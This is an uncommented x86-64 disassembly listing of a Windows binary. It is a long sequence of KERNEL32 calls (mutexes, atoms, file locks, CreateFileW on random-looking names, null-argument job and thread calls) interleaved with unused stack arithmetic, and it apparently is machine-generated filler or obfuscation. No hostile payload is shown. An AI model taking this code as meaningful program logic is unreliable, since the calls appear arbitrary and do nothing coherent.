call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rcx, [rsp + 0x1f920]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4950], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x18b7
mov r9d, 0x3863
mov r8d, 0x88995437
mov edx, 1
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x46c0], eax
movsx eax, byte [rsp + 0x255]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9658]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9580]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46fc], eax
lea rcx, str.ReghKVD1wGl.J0J49bHL
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf7c], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xf34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [rsp + 0xef0]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb4c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rax, [rsp + 0x4878]
mov qword [rsp + 0x96a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48bc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4904], eax
movzx ecx, word [rsp + 0xf40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf7c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14022103b], al
movzx eax, word [rsp + 0xeec]
mov word [rsp + 0xf80], ax
mov rax, qword [rsp + 0x9670]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f60]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9548]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96a0]
imul rax, qword [rsp + 0x9080]
mov qword [rsp + 0x86e8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x96b0], rax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x270], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x95a8], rax
mov dword [rsp + 0x20], 0x243f
mov r9d, 0x13d0
mov r8d, 0x2c92
mov edx, 0x1225
mov rcx, qword [rsp + 0x9638]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4704], eax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x4864], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x96b8], rax
movzx eax, word [rsp + 0xa54]
mov word [rsp + 0xf84], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
mov r9d, 0x626
xor r8d, r8d
lea rdx, [rsp + 0x90d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4930], eax
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9528]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x273]
add eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
lea rax, [rsp + 0x7a0]
mov qword [rsp + 0x96c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 1
lea r8, [rsp + 0x8d50]
mov rdx, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x494c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
mov rax, qword [rsp + 0x9538]
mov ecx, dword [rsp + 0x4768]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14024f38c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.g7BBSvea9iUaN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x96c8], rax
mov rax, qword [rsp + 0x94f8]
mov rcx, qword [rsp + 0x95e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
lea rdx, [rsp + 0x8f90]
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x494c], eax
lea rcx, [rsp + 0x8f90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x96d0], rax
mov dword [rsp + 0x20], 0x50c
mov r9d, 0x2664
mov r8d, 0x2474
mov edx, 0x1916
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4934], eax
mov r9d, 1
lea r8, [rsp + 0x8d40]
mov rdx, qword [rsp + 0x95d0]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4954], eax
mov rax, qword [rsp + 0x95c8]
mov rcx, qword [rsp + 0x95f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x9610]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.4r2GmDRX2lHLc2_nsFJIxEJjun2p
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x96d8], rax
mov dword [rsp + 0x20], 0x1f84
mov r9d, 0x1915
mov r8d, 0x2377
mov edx, 0x1ec6
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4840], eax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x43a8], eax
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0xf04]
movzx ecx, word [rsp + 0x694]
imul eax, ecx
mov word [rsp + 0x6d8], ax
movzx eax, byte [rsp + 0x255]
mov byte [rsp + 0x27a], al
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0xf60]
sub eax, ecx
mov word [rsp + 0xb4c], ax
mov rax, qword [rsp + 0x93e0]
mov rcx, qword [rsp + 0x8e00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x93e0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x205]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a3], al
mov dword [rsp + 0x20], 0x11eb
mov r9d, 0x393c
mov r8d, 0x1c13
mov edx, 0x37b
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4958], eax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x1d3]
mov qword [0x14024f380], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx eax, word [rsp + 0xf80]
mov rcx, qword [0x14024f3b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5cc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [rsp + 0x4904]
mov dword [rsp + 0x495c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x7b28]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0x96e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x96e0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x91f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9080], rax
lea rax, [rsp + 0xf64]
mov qword [rsp + 0x96e8], rax
lea rcx, [rsp + 0x8ee8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
lea rcx, [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x4684], eax
mov rcx, qword [rsp + 0x93a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8f98]
movzx eax, byte [rax]
mov byte [rsp + 0x27b], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x95f0], rax
mov rax, qword [0x14024f3b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf04]
xor eax, ecx
mov word [rsp + 0xf00], ax
lea rdx, [rsp + 0x96f8]
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4704], eax
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9538]
mov qword [rsp + 0x9700], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9700]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14024f3a4], eax
mov edx, 0xe39
mov rcx, qword [rsp + 0x96b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48c4], eax
lea rcx, [rsp + 0x8d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x9708], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9710], rax
mov rax, qword [0x14024f398]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x26a]
and eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov byte [rcx], al
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
imul rax, qword [rsp + 0x7b28]
mov qword [rsp + 0x8f60], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1f6e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4960], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x95f0], rax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4770]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4228], eax
movzx ecx, word [rsp + 0xf3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf40], ax
lea rcx, str.Ymv6_to4Rc6C_Qkr1hCr
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf88], ax
movzx ecx, word [rsp + 0xf88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf08], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.JUuF_Cdl5JLp
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf28], ax
movsx eax, word [rsp + 0xef0]
movsx ecx, word [rsp + 0xb4c]
sub eax, ecx
mov word [rsp + 0xc28], ax
mov rax, qword [rsp + 0x93d8]
movzx eax, byte [rax]
mov byte [rsp + 0x27c], al
mov dword [rsp + 0x20], 0x38f3
mov r9d, 0x3b0
mov r8d, 0x31da
mov edx, 0x866
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4914], eax
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf8c], ax
mov rcx, qword [rsp + 0x8df8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9590], rax
movzx ecx, word [rsp + 0xee4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf44], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0x11eb
mov r9d, 0x393c
mov r8d, 0x1c13
mov edx, 0x37b
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4900], eax
mov eax, dword [rsp + 0x4878]
mov ecx, dword [0x14022fb68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4684], eax
movzx eax, byte [rsp + 0x205]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9718], rax
lea rax, [rsp + 0xf80]
mov qword [0x14024f378], rax
movzx ecx, word [rsp + 0xefc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x8110]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7ed0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov r9d, 1
lea r8, [rsp + 0x8d28]
mov rdx, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4964], eax
movzx eax, byte [rsp + 0x270]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x276], al
mov eax, dword [rsp + 0x4828]
mov dword [rsp + 0x4968], eax
movzx eax, word [0x14022fb6c]
movzx ecx, word [rsp + 0xf04]
and eax, ecx
mov word [rsp + 0x9b8], ax
movsx eax, word [rsp + 0xf74]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf54], ax
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x4668]
mov dword [rsp + 0x496c], eax
movsx eax, byte [rsp + 0x271]
movsx ecx, byte [rsp + 0x27c]
sub eax, ecx
mov rcx, qword [rsp + 0x9658]
mov byte [rcx], al
movzx ecx, word [rsp + 0xf34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf08], ax
mov rax, qword [rsp + 0x9708]
mov rcx, qword [rsp + 0x9330]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8850], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
mov rcx, qword [0x14024f378]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5cc], ax
movzx eax, byte [rsp + 0x277]
mov byte [0x14024f370], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, 0x38
imul rax, rax, 0
lea rcx, [rsp + 0x1f380]
add rcx, rax
mov rax, rcx
add rax, 8
lea rcx, [0x140221390]
mov qword [rax], rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov dword [rsp + 0x4970], eax
mov rax, qword [rsp + 0x9690]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8110]
shl rax, cl
mov rcx, qword [rsp + 0x9670]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9690]
mov rcx, qword [rsp + 0x91f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8cf8]
mov qword [rcx], rax
mov edx, 0xdf2
mov rcx, qword [rsp + 0x96b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4478], eax
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9568]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x27b], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3b73
mov r9d, 0x29b6
mov r8d, 0x511ab151
mov edx, 1
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4974], eax
mov rax, qword [rsp + 0x9518]
movzx eax, word [rax]
mov word [rsp + 0xf90], ax
movzx eax, byte [rsp + 0xee]
imul eax, eax, 0x2d
mov byte [rsp + 0x276], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [0x14024f3b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6d8]
sub eax, ecx
mov word [rsp + 0xf00], ax
lea rax, [rsp + 0x4828]
mov qword [0x14024f368], rax
mov r9d, 2
lea r8, [rsp + 0x8d40]
mov rdx, qword [rsp + 0x8d50]
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x492c], eax
lea rcx, [0x1402305d8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf94], ax
mov edx, 0x270
mov rcx, qword [rsp + 0x96d0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4700], eax
lea rax, [rsp + 0x95e0]
mov qword [rsp + 0x9720], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9728], rax
lea rdx, [rsp + 0x9278]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4704], eax
mov rax, qword [rsp + 0x9690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80e0], rax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x26a]
mov qword [rsp + 0x9730], rax
movzx ecx, word [rsp + 0xee4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf1c], ax
lea rcx, [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf60]
add eax, ecx
mov word [rsp + 0xf90], ax
movsx eax, byte [rsp + 0x275]
movsx ecx, byte [rsp + 0x273]
add eax, ecx
mov byte [rsp + 0x272], al
lea rax, [rsp + 0x8410]
mov qword [rsp + 0x9738], rax
lea rdx, [rsp + 0x8ee0]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4978], eax
mov eax, dword [rsp + 0x4878]
mov ecx, dword [rsp + 0x491c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93e0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x5cc]
mov word [rsp + 0xf98], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0x9588]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14022fb74], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov edx, 0x9b6
mov rcx, qword [rsp + 0x9728]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x497c], eax
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9628]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x694], ax
mov rax, qword [0x14024f380]
movzx eax, byte [rax]
imul eax, eax, 0xed
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
movzx ecx, word [rsp + 0xee4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef4], ax
mov rax, qword [rsp + 0x9630]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45fc], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9558], rax
lea rcx, [rsp + 0x9740]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rcx, qword [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movzx ecx, word [rsp + 0xf68]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf9c], ax
movsx eax, word [rsp + 0xf84]
movsx ecx, word [rsp + 0xf70]
sar eax, cl
mov rcx, qword [rsp + 0x93c8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x96b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0xf6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf40], ax
movzx ecx, word [rsp + 0xee4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfa0], ax
mov rcx, qword [rsp + 0x9728]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0x2757
mov r9d, 0x386b
mov r8d, 0x2b8d
mov edx, 0x27cc
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4954], eax
lea rax, [rsp + 0x27c]
mov qword [rsp + 0x9748], rax
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9750], rax
mov eax, dword [rsp + 0x48f8]
movzx ecx, al
mov eax, dword [rsp + 0x4668]
shl eax, cl
mov dword [rsp + 0x4744], eax
mov r9d, 2
lea r8, [rsp + 0x96f8]
mov rdx, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4950], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9758], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
mov r9d, 2
lea r8, [rsp + 0x8d10]
mov rdx, qword [rsp + 0x9760]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x494c], eax
movzx eax, word [0x14024f394]
mov word [rsp + 0xfa4], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
movzx eax, byte [rsp + 0x26f]
movzx ecx, byte [rsp + 0x276]
or eax, ecx
mov byte [rsp + 0xee], al
xor r9d, r9d
lea r8, [rsp + 0x8d28]
mov rdx, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4954], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9768], rax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9500], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x9538]
mov ecx, dword [rsp + 0x495c]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14022fb70], eax
mov rax, qword [rsp + 0x9720]
mov rcx, qword [rsp + 0x93b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8110], rax
mov edx, 0x1bff
mov rcx, qword [rsp + 0x9750]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4980], eax
movzx ecx, word [rsp + 0xee4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0x80e0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8290], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x1f920]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4984], eax
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rcx, str.vzcBEmJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf9c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.UukfZZukLeM
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9770], rax
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
imul rax, qword [0x14024f3c0]
mov qword [rsp + 0x8290], rax
lea rax, [rsp + 0x48cc]
mov qword [rsp + 0x9778], rax
mov rax, qword [rsp + 0x8410]
mov rcx, qword [rsp + 0x9208]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
mov rcx, qword [rsp + 0x90d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0xf90]
mov rcx, qword [rsp + 0x93c8]
movsx ecx, word [rcx]
sub eax, ecx
